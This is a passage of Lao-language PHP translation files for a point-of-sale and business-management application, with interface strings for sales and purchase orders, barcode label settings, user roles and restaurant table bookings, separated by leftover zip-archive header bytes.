ຄຳ ສັ່ງຊື້', 'add_purchase_order' => 'ເພີ່ມ ຄຳ ສັ່ງຊື້', 'edit_purchase_order' => 'ແກ້ໄຂການສັ່ງຊື້', 'purchase_order_details' => 'ລາຍລະອຽດການສັ່ງຊື້', 'enable_purchase_order' => 'ເປີດໃຊ້ການສັ່ງຊື້', 'purchase_order_help_text' => 'ໃບສັ່ງຊື້ແມ່ນເອກະສານການຄ້າແລະການສະ ເໜີ ຢ່າງເປັນທາງການຄັ້ງ ທຳ ອິດໂດຍຜູ້ຊື້ໃຫ້ຜູ້ຂາຍທີ່ຊີ້ບອກປະເພດ, ຈຳ ນວນແລະລາຄາທີ່ຕົກລົງກັນ ສຳ ລັບຜະລິດຕະພັນຫຼືການບໍລິການ. ມັນຖືກໃຊ້ເພື່ອຄວບຄຸມການຊື້ຜະລິດຕະພັນແລະການບໍລິການຈາກຜູ້ສະ ໜອງ ພາຍນອກ. ເປັນສ່ວນ ໜຶ່ງ ທີ່ ຈຳ ເປັນໃນການສັ່ງຊື້ລະບົບການວາງແຜນຊັບພະຍາກອນຂອງວິສາຫະກິດ. ', 'view_all_purchase_order' => 'ເບິ່ງການສັ່ງຊື້ທັງ ໝົດ', 'view_own_purchase_order' => 'ເບິ່ງການສັ່ງຊື້ຂອງຕົວເອງ', 'create_purchase_order' => 'ສ້າງ ຄຳ ສັ່ງຊື້', 'delete_purchase_order' => 'ລຶບ ຄຳ ສັ່ງຊື້', 'purchase_order_delete_success' => 'ການສັ່ງຊື້ຖືກລຶບຖິ້ມແລ້ວ', 'order_quantity' => 'ປະລິມານການສັ່ງຊື້', 'order_date' => 'ວັນທີສັ່ງຊື້', 'max_quantity_quantity_allowed' => 'ສູງສຸດທີ່ເຄຍ :quantity ອະນຸຍາດ', 'leave_empty_to_autogenerate' => 'ປ່ອຍໃຫ້ເປົ່າເພື່ອຂຽນເປັນອັດຕະໂນມັດ', 'add_edit_invoice_number' => 'ເພີ່ມ ໝາຍ ເລກໃບແຈ້ງການແກ້ໄຂ', 'keep_blank_to_autogenerate' => 'ຢ່າປ່ອຍໃຫ້ຜະລິດໂດຍອັດຕະໂນມັດ', 'download_pdf' => 'ດາວໂຫລດ pdf', 'attach_pdf_in_email' => 'ແນບ pdf ໃບເກັບເງິນໃນອີເມວ', 'send_sms_whatsapp_notification' => 'ສົ່ງການແຈ້ງເຕືອນ sms / whatsapp', 'enable_sales_order' => 'ເປີດໃຊ້ ຄຳ ສັ່ງການຂາຍ', 'sales_order' => 'ໃບສັ່ງຂາຍ', 'sales_order_help_text' => 'ຄຳ ສັ່ງຂາຍ, ບາງຄັ້ງແມ່ນຫຍໍ້ເປັນ SO, ແມ່ນ ຄຳ ສັ່ງທີ່ອອກໂດຍນັກທຸລະກິດຫຼືພໍ່ຄ້າຜູ້ດຽວໃຫ້ແກ່ລູກຄ້າ. ໃບສັ່ງຂາຍອາດຈະແມ່ນ ສຳ ລັບຜະລິດຕະພັນແລະ / ຫຼືການບໍລິການ.', 'add_sales_order' => 'ເພີ່ມ ຄຳ ສັ່ງການຂາຍ', 'edit_sales_order' => 'ແກ້ໄຂ ຄຳ ສັ່ງຂາຍ', 'shipping_note' => 'ບັນທຶກການຂົນສົ່ງ', 'code_1_name' => 'ລະຫັດ 1 ຊື່', 'code_2_name' => 'ລະຫັດ 2 ຊື່', 'code_1' => 'ລະຫັດ 1', 'code_2' => 'ລະຫັດ 2', 'download_paking_pdf' => 'ດາວໂຫລດຫໍ່ pdf', 'subject_type' => 'ປະເພດຫົວຂໍ້', 'activity_log' => 'ບັນທຶກການເຄື່ອນໄຫວ', 'sell_deleted' => 'ຂາຍຖືກລົບ', 'so_deleted' => 'ໃບສັ່ງຂາຍຖືກຍົກເລີກ', 'po_deleted' => 'ການສັ່ງຊື້ຖືກລຶບແລ້ວ', 'purchase_deleted' => 'ການຊື້ຖືກລຶບແລ້ວ', 'contact_deleted' => 'ລາຍຊື່ຜູ້ຕິດຕໍ່ຖືກລຶບແລ້ວ', 'payment_deleted' => 'ການຈ່າຍເງິນຖືກລຶບແລ້ວ', 'quantity_remaining' => 'ຈຳ ນວນທີ່ຍັງເຫຼືອ', 'view_sale' => 'ເບິ່ງການຂາຍ', 'update_sale' => 'Update ຂາຍ', 'add_sell' => 'ຕື່ມການຂາຍ', 'account_details' => 'ລາຍລະອຽດບັນຊີ', 'label' => 'ປ້າຍ ກຳ ກັບ', 'prefer_payment_method' => 'ມັກວິທີການຈ່າຍເງິນ', 'prefer_payment_account' => 'ມັກບັນຊີການຈ່າຍເງິນ', 'this_will_be_shown_in_pdf' => 'ວິທີການ / ບັນຊີທີ່ຕ້ອງການທີ່ລູກຄ້າສາມາດຈ່າຍໃບເກັບເງິນ. (ທີ່ເປັນປະໂຫຍດ ສຳ ລັບໃບແຈ້ງ ໜີ້ ສິນເຊື່ອ)', 'view_own_so' => 'ເບິ່ງ ຄຳ ສັ່ງຂາຍຂອງຕົວເອງ', 'view_all_so' => 'ເບິ່ງການສັ່ງຊື້ທັງ ໝົດ', 'create_so' => 'ສ້າງ ຄຳ ສັ່ງຂາຍ', 'edit_so' => 'ແກ້ໄຂ ຄຳ ສັ່ງຂາຍ', 'delete_so' => 'ລົບລ້າງ ຄຳ ສັ່ງຂາຍ', 'types_of_service_custom_field_help' => 'ຫົກທົ່ງນາທີ່ ກຳ ຫນົດເອງຈະມີຢູ່ໃນຂະນະທີ່ເພີ່ມການຂາຍ', 'delete_expense' => 'ລຶບລາຍຈ່າຍ', 'access_all_expense' => 'ເຂົ້າເຖິງຄ່າໃຊ້ຈ່າຍທັງ ໝົດ', 'designation' => 'ການອອກແບບ', 'department' => 'ພະແນກ', 'is_default_for_contact' => 'ແມ່ນຄ່າເລີ່ມຕົ້ນ ສຳ ລັບການຕິດຕໍ່', 'individual' => 'ບຸກຄົນ', 'is_export' => 'ແມ່ນການສົ່ງອອກບໍ?', 'export' => 'ການສົ່ງອອກ', 'export_custom_field1' => 'ສົ່ງອອກສະ ໜາມ ທີ່ ກຳ ນົດເອງ 1', 'export_custom_field2' => 'ການສົ່ງອອກເຂດທີ່ ກຳ ນົດເອງ 2', 'export_custom_field3' => 'ສົ່ງອອກສະ ໜາມ ທີ່ ກຳ ນົດເອງ 3', 'export_custom_field4' => 'ສົ່ງອອກສະ ໜາມ ທີ່ ກຳ ນົດເອງ 4', 'export_custom_field5' => 'ສົ່ງອອກພາກສະ ໜາມ 5', 'export_custom_field6' => 'ສົ່ງອອກສະ ໜາມ ທີ່ ກຳ ນົດເອງ 6', 'enable_export' => 'ເປີດ ນຳ ໃຊ້ການສົ່ງອອກ', 'edit_status' => 'ແກ້ໄຂສະຖານະພາບ', 'status_updated' => 'ສະຖານະພາບຖືກປັບປຸງ', 'item_discount_label' => 'ປ້າຍລາຄາລຸດລາຄາສິນຄ້າ', 'sales_orders' => 'ຄຳ ສັ່ງຂາຍ', 'cash_denominations' => 'ຕົວເລກເງິນສົດ', 'cash_denominations_help' => 'Comma ແຍກຄ່າຕົວຢ່າງ: 100,200 500,2000', 'denomination' => 'ຕົວຫານ', 'count' => 'ນັບ', 'denomination_add_help_text' => 'ເພີ່ມຕົວຫານໃນການຕັ້ງຄ່າ -> ການຕັ້ງຄ່າທຸລະກິດ -> POS -> ຕົວຫານເງິນສົດ', 'order_dates' => 'ວັນທີສັ່ງຊື້', 'by_category' => 'ໂດຍ ໝວດ ໝູ່', 'by_brand' => 'ໂດຍແບ', 'no_brand' => 'ບໍ່ມີຍີ່ຫໍ້', 'woocommerce_sync' => 'WooCommerce Sync', 'enable' => 'ເປີດໃຊ້ງານ', 'disable' => 'ປິດການໃຊ້ງານ', 'cmmsn_calculation_type' => 'ປະເພດການ ຄຳ ນວນຄະນະ ກຳ ມະການ', 'invoice_value' => 'ມູນຄ່າໃບເກັບເງິນ', 'total_payment_with_commsn' => 'ການຈ່າຍເງິນທັງ ໝົດ ດ້ວຍຄ່ານາຍ ໜ້າ', 'payments_with_cmmsn' => 'ການຈ່າຍເງິນກັບຄ່ານາຍ ໜ້າ', 'view_all_drafts' => 'ເບິ່ງຮ່າງທັງ ໝົດ', 'view_own_drafts' => 'ເບິ່ງຮ່າງຂອງຕົນເອງ', 'edit_draft' => 'ແກ້ໄຂຮ່າງ', 'delete_draft' => 'ລຶບຮ່າງ', 'view_all_quotations' => 'ເບິ່ງການສະ ເໜີ ລາຄາທັງ ໝົດ', 'view_own_quotations' => 'ເບິ່ງຂໍ້ສະ ເໜີ ອ້າງຂອງຕົວເອງ', 'edit_quotation' => 'ດັດແກ້ ຄຳ ອ້າງອີງ', 'delete_quotation' => 'ລຶບວົງຢືມ', 'primary_work_location' => 'ສະຖານທີ່ເຮັດວຽກປະຖົມ', 'labels_for_purchase_shipping_custom_fields' => 'ປ້າຍ ສຳ ລັບຊື້ເຂດທີ່ ກຳ ຫນົດເອງສົ່ງ', 'view_own_purchase_n_stock_adjustment' => 'ເບິ່ງການຊື້ແລະການດັດປັບຫຸ້ນສ່ວນຕົວ', 'view_all_purchase_n_stock_adjustment' => 'ເບິ່ງການສັ່ງຊື້ແລະການປັບຫຸ້ນທັງ ໝົດ', 'access_all_shipments' => 'ເຂົ້າເຖິງການຂົນສົ່ງທັງ ໝົດ', 'view_all_sale' => 'ເບິ່ງຂາຍທັງ ໝົດ', 'total_quantity' => 'ປະລິມານທັງ ໝົດ', 'pending_shipments' => 'ການຂົນສົ່ງທີ່ຍັງຄ້າງ', 'view_paid_sells_only' => 'ຂາຍທີ່ຈ່າຍເທົ່ານັ້ນ', 'view_due_sells_only' => 'ຂາຍຕາມ ກຳ ນົດຂາຍເທົ່ານັ້ນ', 'view_partially_paid_sells_only' => 'ເບິ່ງການຂາຍທີ່ຈ່າຍບາງສ່ວນເທົ່ານັ້ນ', 'view_overdue_sells_only' => 'ເບິ່ງເກີນ ກຳ ນົດຂາຍເທົ່ານັ້ນ', 'customer_with_no_sell_one_month' => 'ເບິ່ງລູກຄ້າທີ່ບໍ່ໄດ້ຂາຍແຕ່ເດືອນດຽວເທົ່ານັ້ນ', 'customer_with_no_sell_three_month' => 'ເບິ່ງລູກຄ້າທີ່ບໍ່ໄດ້ຂາຍຕັ້ງແຕ່ສາມເດືອນເທົ່ານັ້ນ', 'customer_with_no_sell_six_month' => 'ເບິ່ງລູກຄ້າທີ່ບໍ່ໄດ້ຂາຍຕັ້ງແຕ່ຫົກເດືອນເທົ່ານັ້ນ', 'customer_with_no_sell_one_year' => 'ເບິ່ງລູກຄ້າທີ່ບໍ່ໄດ້ຂາຍແຕ່ປີດຽວເທົ່ານັ້ນ', 'customer_permissions_tooltip' => 'ເພື່ອເບິ່ງລູກຄ້າທຸກຄົນທີ່ບໍ່ໄດ້ຂາຍນັບແຕ່ເວລາທີ່ ກຳ ນົດ <b> ເບິ່ງລູກຄ້າທັງ ໝົດ </b> ຕ້ອງໄດ້ຮັບການອະນຸຍາດຖ້າບໍ່ດັ່ງນັ້ນມັນຈະຖືກກັ່ນຕອງໂດຍມີພຽງແຕ່ນັກກົດ ໝາຍ ທີ່ສ້າງຂື້ນໂດຍຜູ້ໃຊ້ທີ່ເຂົ້າໃຊ້ລະບົບ', 'sell_permissions_tooltip' => 'ເພື່ອເບິ່ງການຂາຍໂດຍອີງໃສ່ສະຖານະການ ຊຳ ລະເງິນ <b> ເບິ່ງການຂາຍທັງ ໝົດ </b> ຕ້ອງມີການອະນຸຍາດຖ້າບໍ່ດັ່ງນັ້ນມັນຈະຖືກກັ່ນຕອງດ້ວຍການຂາຍທີ່ຖືກສ້າງຂື້ນໂດຍຜູ້ໃຊ້ທີ່ເຂົ້າໃຊ້ລະບົບເທົ່ານັ້ນ', 'access_pending_shipments_only' => 'ເຂົ້າເຖິງການຈັດສົ່ງທີ່ຍັງຄ້າງເທົ່ານັ້ນ', 'access_all_sell_return' => 'ເຂົ້າເຖິງການຂາຍຄືນທັງ ໝົດ', 'access_own_sell_return' => 'ເຂົ້າເບິ່ງການຂາຍຄືນຂອງຕົນເອງ', 'proforma_heading' => 'ຫົວຂໍ້ໃບເກັບເງິນ Proforma', 'tooltip_proforma_heading' => 'ຫົວຂໍ້ໃບເກັບເງິນ Proforma ຖືກ ນຳ ໃຊ້ໃນຂະນະທີ່ໃຫ້ Proforma ແກ່ລູກຄ້າ.', 'line_taxes' => 'ພາສີສາຍ', 'add_additional_expenses' => 'ເພີ່ມຄ່າໃຊ້ຈ່າຍເພີ່ມເຕີມ', 'additional_expense_name' => 'ຊື່ລາຍຈ່າຍເພີ່ມເຕີມ', 'purchase_additional_expense' => 'ຊື້ລາຍຈ່າຍເພີ່ມເຕີມ', 'qr_code' => 'ລະຫັດ QR', 'show_qr_code' => 'ສະແດງລະຫັດ QR', 'fields_to_be_shown' => 'ເຂດຂໍ້ມູນທີ່ຕ້ອງສະແດງ', 'business_location_address' => 'ທີ່ຢູ່ທີ່ຢູ່ທຸລະກິດ', 'business_tax_1' => 'ພາສີທຸລະກິດ 1', 'business_tax_2' => 'ພາສີທຸລະກິດ 2', 'invoice_datetime' => 'ໃບເກັບເງິນຄືນ', 'total_amount_with_tax' => 'ຈຳ ນວນທັງ ໝົດ ທີ່ມີອາກອນ', 'total_bank_transfer' => 'ການໂອນທະນາຄານທັງ ໝົດ', 'total_advance_payment' => 'ການຈ່າຍລ່ວງ ໜ້າ ທັງ ໝົດ', 'commission_agent_label' => 'ປ້າຍຊື່ຕົວແທນຂອງຄະນະ ກຳ ມະການ ', 'show_commission_agent' => 'ສະແດງຕົວແທນ ກຳ ມະການ', 'cannot_change_role' => 'ບໍ່ສາມາດປ່ຽນບົດບາດໄດ້', 'cr' => 'CR', 'dr' => 'DR', 'payment_link' => 'ການເຊື່ອມຕໍ່ການຊໍາລະເງິນ', 'enable_payment_link' => 'ເປີດໃຊ້ການເຊື່ອມຕໍ່ການຊໍາລະເງິນ', 'payment_link_help_text' => 'ໂດຍການເປີດໃຫ້ຜູ້ໃຊ້ສາມາດຊໍາລະໃບເກັບເງິນໂດຍໃຊ້ລິ້ງການຊໍາລະເງິນ', 'invoice_payment' => 'ການຊໍາລະໃບເກັບເງິນ', 'payment_for_invoice_no' => 'ການຊໍາລະເງິນສໍາລັບຈໍານວນໃບແຈ້ງຫນີ້', 'pending_shipments' => 'ການຂົນສົ່ງທີ່ຍັງຄ້າງຢູ່', 'sources' => 'ແຫຼ່ງຂໍ້ມູນ', 'stripe_secret_key' => 'ກະແຈລັບລວດລາຍ', 'stripe_public_key' => 'ກະແຈສາທາລະນະເສັ້ນລວດ', 'edit_opening_balance' => 'ແກ້ໄຂຍອດເປີດ', 'edit_fund_transfer' => 'ແກ້ໄຂການໂອນເງິນກອງທຶນ', 'edit_deposit' => 'ແກ້ໄຂເງິນາກ', 'deposit_to' => 'toາກໄປທີ່', 'transfer_from' => 'ໂອນຈາກ', 'edit_account_transaction' => 'ແກ້ໄຂທຸລະ ກຳ ບັນຊີ', 'delete_account_transaction' => 'ລຶບທຸລະ ກຳ ບັນຊີ', 'add_purchase_payment' => 'ຕື່ມການຊໍາລະການຊື້', 'edit_purchase_payment' => 'ແກ້ໄຂການຈ່າຍເງິນການຊື້', 'delete_purchase_payment' => 'ລຶບການຈ່າຍເງິນການຊື້', 'add_sell_payment' => 'ຕື່ມການຊໍາລະການຂາຍ', 'edit_sell_payment' => 'ແກ້ໄຂການຊໍາລະການຂາຍ', 'delete_sell_payment' => 'ລຶບການຊໍາລະການຂາຍ', 'sales_order_heading' => 'ຫົວຂໍ້ການສັ່ງຊື້', 'account_balance' => 'ຍອດເງິນໃນບັນຊີ', 'total_balance' => 'ຍອດເງິນທັງຫມົດ', 'account_balance_tooltip' => 'ຍອດເງິນທັງໝົດຂອງບັນຊີສະເພາະ', 'total_balance_tooltip' => 'ຍອດເງິນທັງໝົດຂອງບັນຊີທັງໝົດ', 'sell_additional_expense' => 'ຂາຍຄ່າໃຊ້ຈ່າຍເພີ່ມເຕີມ', 'view_export_buttons' => 'ເບິ່ງການສົ່ງອອກໄປຍັງປຸ່ມຕ່າງໆ (csv/excel/print/pdf) ໃນຕາຕະລາງ', 'overall' => 'ໂດຍລວມ', 'show_labels' => 'ສະແດງປ້າຍຊື່', 'zatca_qr' => 'ZATCA (Fatoora) ລະຫັດ QR', 'zatca_qr_help' => 'ສໍາລັບປະເທດ Saudi Arabia', 'customer_irrespective_of_sell' => 'ເບິ່ງລູກຄ້າໂດຍບໍ່ຄໍານຶງເຖິງການຂາຍຂອງເຂົາເຈົ້າ', 'img_url_help_text' => 'ຫຼື URL ຂອງຮູບພາບ', 'delivery_person' => 'ຄົນສົ່ງສາຍ', 'enable_service_staff_pin' => 'ເປີເຊັນລະຫັດ PIN ຂອງພະນັກງານບໍ່ໄດ້', 'staff_pin' => 'ລະຫັດ PIN ພະນັກງານ', 'tooltip_is_enable_service_staff_pin' => 'ຖ້າເປີເຊັນໄດ້, ຮ້ານຂາຍ / POS ໃນເວລານັ້ນຖ້າການເລືອກຜູ້ໃຊ້ນີ້ເປີເຊັນອາກອນຈະຕ້ອງໃສ່ລະຫັດ PIN, ລະຫັດ PIN ບໍ່ຖືກຮັບຕົວຢ່າງຈາກການເລືອກຜູ້ໃຊ້ນີ້ເປີເຊັນອາກອນຈະບໍ່ອະນຸຍາດເລືອກຜູ້ໃຊ້ນີ້ເປີເຊັນອາກອນ.', 'kitchen_order' => 'ສັນຍາລັກຂອງຄັງ', 'kitchen_order_tooltip' => 'ການສັ່ງຊື້ຈະຖືກສົ່ງເຂົ້າລະບົບການຂະຫນາດສາມາດຈາກຄວາມຕ່າງກັນລະບົບນີ້ຖ້າພາກພືກເລືອກສຳເລັດ', 'disable_quotation' => 'ປິດການເອົາເອກະສານ', 'disable_card' => 'ປິດການເອກະສານ', 'assigned_to' => 'ຖືກມອບມາ', 'has_no_sell_from' => 'ບໍ່ມີການຂາຍຈາກ', 'delivery_note' => 'ໝາຍການຈັດສົ່ງ', 'above_mentioned_items_received_in_good_condition' => 'ລາຍການທີ່ເລີຍບັນຊີກ່ຽວກັບແຊບ', 'received_by' => 'ແລ້ວໄດ້ຮັບແລ້ວ', 'enter_details_below_to_check_repair_status' => 'ໃສ່ລາຍລະອຽດຂ້າງລຸ່ມເພື່ອກວດສອບສະຖານະການສ້ອມແປງ', 'search_by' => 'ຄົ້ນຫາໂດຍ' ]; PK G �ZL��1� � lo/barcode.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Brand Language Lines |-------------------------------------------------------------------------- | | The following language lines are used for Brand CRUD operations. | */ 'barcodes' => 'ລະຫັດບາໂຄດ', 'barcode_settings' => 'ການຕັ້ງຄ່າບາໂຄດ', 'manage_your_barcodes' => 'ຈັດການການຕັ້ງຄ່າບາໂຄດ', 'all_your_barcode' => 'ການຕັ້ງຄ່າບາໂຄດທັງໝົດ', 'setting_name' => 'ຕັ້ງຊື່ແຜ່ນສະຕິກເກີ້', 'setting_description' => 'ລາຍລະອຽດການຕັ້ງຊື່ສະຕິກເກີ', 'added_success' => 'ເພີ່ມການຕັ້ງຄ່າບາໂຄດຮຽບຮ້ອຍ', 'updated_success' => 'ປັບປຸງການຕັ້ງຄ່າບາໂຄດຮຽບຮ້ອຍ', 'deleted_success' => 'ລົບການຕັ້ງຄ່າບາໂຄດຮຽບຮ້ອຍ', 'add_new_setting' => 'ເພີ່ມການຕັ້ງຄ່າໃໝ່', 'add_barcode_setting' => 'ເພີ່ມການຕັ້ງຄ່າສະຕິກເກີ້ບາໂຄດ', 'edit_barcode_setting' => 'ແກ້ໄຂການຕັ້ງຄ່າສະຕິກເດີ້ບາໂຄດ', 'in_in' => 'ເປັນນິ້ວ', 'width' => 'ຄວາມກວ້າງ', 'height' => 'ລວງສູງ', 'top_margin' => 'ຂອບດ້ານເທິງເພີ່ມເຕີມ', 'left_margin' => 'ໄລຍະຂອບຊ້າຍເພີ່ມເຈີມ', 'row_distance' => 'ໄລຍະຫ່າງລະຫວ່າງສອງແຖວ', 'col_distance' => 'ໄລຍະຫ່າງລະຫວ່າງສອງຖັນ', 'blank_stickers' => 'ສະຕິກເກີເປົ່າ', 'stickers_in_one_row' => 'ສະຕິກເກີໃນໜຶ່ງແຖວ', 'delete_confirm' => 'ການຕັ້ງຄ່ານີ້ຈະຖືກລົບ\n ໝັ້ນໃຈແລ້ວບໍ່?', 'set_as_default' => 'Set as default', 'default' => 'ຄ່າເລີ່ມຕົ້ນ', 'default_set_success' => 'ຕັ້ງຄ່ເລີ່ມຕົ້ນສຳເລັດ', 'stickers_in_one_sheet' => 'ເລກຂອງສະຕິກເກີ້ຕໍ່ແຜ່ນ', 'is_continuous' => 'Continous feed or rolls', 'products' => 'ສິນຄ້າ', 'no_of_labels' => 'ເລກປ້າຍກຳກັບ', 'info_in_labels' => 'ຂໍ້ມູນທີ່ຈະສະແດງໃນປ້າຍກຳກັບ', 'print_name' => 'ຊື່ສິນຄ້າ', 'print_variations' => 'ຮູບແແບສິນຄ້າ(ແນະນຳ)', 'print_price' => 'ລາຄາສິນຄ້າ', 'show_price' => 'ສະແດງລາຄາ', 'preview' => 'ເບິ່ງຕົວຢ່າງ', 'print_business_name' => 'ຊື່ທຸລະກິດ', 'barcode_setting' => 'ການຕັ້ງຄ່າບາໂຄດ', 'paper_width' => 'ຄວາມກວ້າງຂອງເຈ້ຍ', 'paper_height' => 'ລວງສູງຂອງເຈ້ຍ', 'print_labels' => 'ພິມປ້າຍກຳກັບ', 'labels' => 'ປ້າຍກຳກັບ', ]; PK G �Z�M:L L lo/user.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Business Language Lines |-------------------------------------------------------------------------- | | The following language lines are used during registration of a business. | */ 'edit_profile' => 'ແກ້ໄຂ Profile', 'change_password' => 'ປ່ຽນລະຫັດຜ່ານ', 'current_password' => 'ລະຫັດຜ່ານປັດຈຸບັນ', 'new_password' => 'ລະຫັດຜ່ານໃໝ່', 'confirm_new_password' => 'ຢືນຢັນລະຫັດຜ່ານໃໝ່', 'user_management' => 'ຈັດການຂໍ້ມູນຜູ້ໃຊ້', 'roles' => 'ບົດບາດ', 'users' => 'ຜູ້ໃຊ້', 'manage_roles' => 'ຈັດການບົດບາດ', 'all_roles' => 'ບົດບາດທັງໝົດ', 'add_role' => 'ເພີ່ມບົດບາດ', 'role_name' => 'ຊື່ບົດບາດ', 'permissions' => 'ສິດທິ', 'role_added' => 'ເພີ່ມບົດບາດສຳເລັດແລ້ວ', 'role_already_exists' => 'ມີບົດບາດທີ່ໃຊ້ຊື່ດຽວກັນນີ້ແລ້ວ', 'edit_role' => 'ແກ້ໄຂບົດບາດ', 'role_updated' => 'ປັບປຸງົດບາດສຳເລັດແລ້ວ', 'role_deleted' => 'ລຶບົດບາດສຳເລັດແລ້ວ', 'manage_users' => 'ຈັດການຜູ້ໃຊ້', 'all_users' => 'ຜູ້ໃຊ້ທັງໝົດ', 'name' => 'ຊື່', 'role' => 'ບົດບາດ', 'add_user' => 'ເພີ່ມຜູ້ໃຂ້', 'user_added' => 'ເພີ່ມຜູ້ໃຊ້ສຳເລັດແລ້ວ', 'role_is_default' => 'ເຈົ້າບໍ່ສາມາດແກ້ໄຂບົດບາດນີ້ໄດ້', 'edit_user' => 'ແກ້ໄຂຜູ້ໃຊ້', 'leave_password_blank' => 'ເວັ້ນຫວ່າງໄວ້ຖ້າເຈົ້າບໍຕ້ອງການປັບປຸງລະຫັດຜ່ານ', 'user_update_success' => 'ປັບປຸງຜູ້ໃຊ້ສຳເລັດແລ້ວ', 'user_delete_success' => 'ລຶບຜູ້ໃຊ້ສຳເລັດແລ້ວ', ]; PK G �ZZ��y y lo/restaurant.phpnu �[��� <?php return [ /* |-------------------------------------------------------------------------- | Restaurant Language Lines |-------------------------------------------------------------------------- */ 'restaurant' => 'ຮ້ານອາຫານ', 'tables' => 'ໂຕະ', 'table' => 'ໂຕະ', 'manage_your_tables' => 'ຈັດການໂຕະອາຫານ', 'all_your_tables' => 'ໂຕະອາຫານທັງໝົດ', 'description' => 'ລາຍລະອຽດ', 'add_table' => 'ເພີ່ມໂຕະ', 'edit_table' => 'ແກ້ໄຂໂຕະ', 'table_name' => 'ຊື່ໂຕະ', 'short_description' => 'ລາຍລະອຽດສັ້ນ', 'select_table' => 'ເລືອກໂຕະ', 'show_table' => 'ສະແດງໂຕະ', 'table_label' => 'ປ້າຍໂຕະ', 'show_service_staff' => 'ສະແດງພະນັກງານບໍລິການ', 'service_staff_label' => 'ປ້າຍພະນັກງານບໍລິການ', 'select_waiter' => 'ເລືອກຜູ້ເສີບ', 'modifiers' => 'ການປັບປ່ຽນ', 'modifier_sets' => 'ຕັ້ງການປັບປ່ຽນ', 'manage_your_modifiers' => 'ຈັດການການປັບປ່ຽນຮ້ານອາຫານທັງໝົດ', 'all_your_modifiers' => 'ການປັບປ່ຽນທັງໝົດ', 'add_modifier' => 'ເພີ່ມກັນປັບປ່ຽນ', 'modifier_set' => 'ຕັ້ງການປັບປ່ຽນ', 'modifier' => 'ການປັບປ່ຽນ', 'edit_modifier' => 'ແກ້ຫຂ ການປັບປ່ຽນ', 'manage_products' => 'ຈັດການສິນຄ້າ ', 'products' => 'ສິນຄ້າ', 'modifiers_for_product' => 'ການປັບປ່ຽນສຳຫຼັບສິນຄ້າ', 'kitchen' => 'ຄົວ', 'mark_as_cooked' => 'ເຮັດເຄື່ອງໝາຍວ່າປຸງແລ້ວ', 'manage_your_kitchen' => 'ຈັດການຄົວ', 'all_orders' => 'ຍອດສັ່ງຊື້ທັງໝົດ', 'order_no' => 'ສັງຊື້ ເລກທີ.', 'order_statuses' => [ 'received' => 'ໄດ້ຮັບແລ້ວ', 'cooked' => 'ກຳລັງແຕ່ງ', 'served' => 'ເສີບລົງໂຕະ', '' => 'ໄດ້ຮັບແລ້ວ', ], 'order_successfully_marked_cooked' => 'ເຮັດເຄື່ອງໝາຍສັ່ງອາຫນວ່າປຸງສຸກແລ້ວ', 'order_successfully_marked_served' => 'ເຮັດເຄື່ອງໝາຍວ່າເສີບລົງໂຕະແລ້ວ', 'orders' => 'ສັວຊື້', 'manage_your_orders' => 'ຈັດການການສັ່ງ', 'all_your_orders' => 'ການສັ່ງຊື້ທັງໝົດ', 'mark_as_served' => 'ໝາຍວ່າເສີບແລ້ວ', 'placed_at' => 'ສະຖານທີ່ຢູ່', 'order_status' => 'ສະຖານະການສັ່ງ', 'order_details' => 'ລາຍລະອຽດຂອງການສັ່ງ', 'refresh' => 'ໂຫຼດໜ້າຈໍ', 'no_orders_found' => 'ບໍມີລາຍກາສັ່ງເທື່ອ', 'select_service_staff' => 'ເລືອກພະນັກງານບໍລິການ', 'service_staff' => 'ພະນັກງານລໍລິການ', 'kitchen_for_restaurant' => 'ຄົວ (ສຳຫູັບ ຮ້ານອາຫານ)', 'products_for_modifier' => 'ການປັບປຸງສິນຄ້າ', 'is_service_staff' => 'ແມ່ນພະນັກງານບໍລິການບໍ່', 'tooltip_tables' => 'ສ່ວນຫຼາຍໃຊ້ໃນຮ້ານອາຫານ, ບາ, ຮ້ານເສີມສວຍ ອື່ນໆ', 'tooltip_modifiers' => 'ເພີ່ມລາຍການພິເສດເຂົ້າໃນລາຍການຫຼັກ<br>ຕົວຢ່າງ:Toppings, Cheese', 'tooltip_service_staff' => 'ຜູ້ທີ່ໃຫ້ການບໍລິການທີ່ໄດ້ກຳນົດໃຫ້ລູກຄ້າ<br> ຕົວຢ່າງ: ພະນັກງານລໍຖ້າຢູ່ໃນຮ້ານອາຫານ, ຊ່າງຕັດຜົມໃນຮ້ານ', 'modules_settings' => 'ການຕັ້ງຄ່າໂມດູນ', 'bookings' => 'ການຈອງ', 'add_edit_view_all_booking' => 'ເພີ່ມ/ແກ້ໄຂ/ເບິ່ງ ການຈອງທັງໝົດ', 'add_edit_view_own_booking' => 'ເພີ່ມ/ແກ້ໄຂ/ເບິ່ງ ການຈອງຂອງຕົນເອງ', 'add_booking' => 'ເພີ່ມການຈອງໃໝ່', 'start_time' => 'ເວລາເລີ່ມ', 'end_time' => 'ສິ້ນສຸດເວລາ', 'booking_not_available' => 'ໂຕະໄດ້ຖືກຈອງແລ້ວ <b>:customer_name</b> ລະຫວ່າງ <b>:booking_time_range</b>', 'select_correspondent' => 'ເລືອກຜູ້ສື່ສານ', 'send_notification_to_customer' => 'ສົ່ງ Email/SMS ການແຈ້ງເຕືອນໃຫ້ລູກຄ້າ', 'booking_details' => 'ລາຍລະອຽດການຈອງ', 'correspondent' => 'ຜູ້ສື່ສານ', 'booking_starts' => 'ເວລາທີ່ຈອງ', 'booking_ends' => 'ສິນສຸດການຈອງ', 'cancelled' => 'ຍົກເລີກ', 'completed' => 'ສຳເລັດແລ້ວ', 'change_booking_status' => 'ປ່ຽນສະຖານະການຈອງ', 'booked' => 'ຈອງແລ້ວ', 'delete_booking' => 'ລົບການຈອງ', 'click_on_any_booking_to_view_or_change_status' => 'ກົດເຂົ້າເບິ່ງດານຈອງເພື່ອເບິ່ງລາຍລະອຽດຫລືປ່ຽນສະຖານະ', 'double_click_on_any_day_to_add_new_booking' => ' ກົດສອງຄັ້ງໃສ່ວັນທີໃດກໍ່ໄດ້ເພື່ອເພີ່ມການຈອງໃໝ່', 'todays_bookings' => 'ການຈອງມື້ນີ້', 'hello_name' => 'ສະບາຍດີ :name!', 'booking_confirmed' => 'ການຈອງຂອງທ່ານໄດ້ຮັບການຢືນຢັນແລ້ວ.', 'table_info' => 'ໂຕະ: :table', 'booking_time_info' => 'ຈາກ :from ເຖິງ :to', 'new_booking_subject' => 'ການຈອງໃໝ່ - :business_name', 'customer_note' => 'ໝາຍເດ ຂອງລູກຄ້າ', 'table_report' => 'ລາຍງານໂຕະ ', 